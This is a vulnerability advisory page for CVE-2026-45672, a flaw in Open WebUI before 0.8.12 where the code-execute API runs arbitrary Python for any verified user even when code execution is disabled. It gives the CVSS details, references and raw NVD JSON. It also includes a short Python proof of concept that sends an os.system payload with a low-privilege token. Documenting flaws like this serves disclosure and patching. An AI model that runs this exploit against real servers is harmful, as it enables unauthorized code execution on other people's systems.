CVE-2026-45672

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.12, the /api/v1/utils/code/execute endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set ENABLE_CODE_EXECUTION=false. The feature gate is not enforced on the API endpoint — the configuration says "disabled" but code still executes. This vulnerability is fixed in 0.8.12.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.8.12

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL
url = "http://target:3000/api/v1/utils/code/execute"

# Authentication cookie (Low privilege user)
cookies = {
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}

# Malicious Python payload
data = {
    "code": "import os; os.system('whoami')"
}

response = requests.post(url, json=data, cookies=cookies)

if response.status_code == 200:
    print("[+] Exploit successful!")
    print(response.text)
else:
    print("[-] Exploit failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45672
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45672
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45672/
[4] VulDB https://vuldb.com/cve/CVE-2026-45672
[5] https://github.com/open-webui/open-webui/security/advisories/GHSA-482j-2pq6-q5w4

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45672", "sourceIdentifier": "[email protected]", "published": "2026-05-15T21:16:38.510", "lastModified": "2026-05-15T21:16:38.510", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.12, the /api/v1/utils/code/execute endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set ENABLE_CODE_EXECUTION=false. The feature gate is not enforced on the API endpoint — the configuration says \"disabled\" but code still executes. This vulnerability is fixed in 0.8.12."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-482j-2pq6-q5w4", "source": "[email protected]"}]}}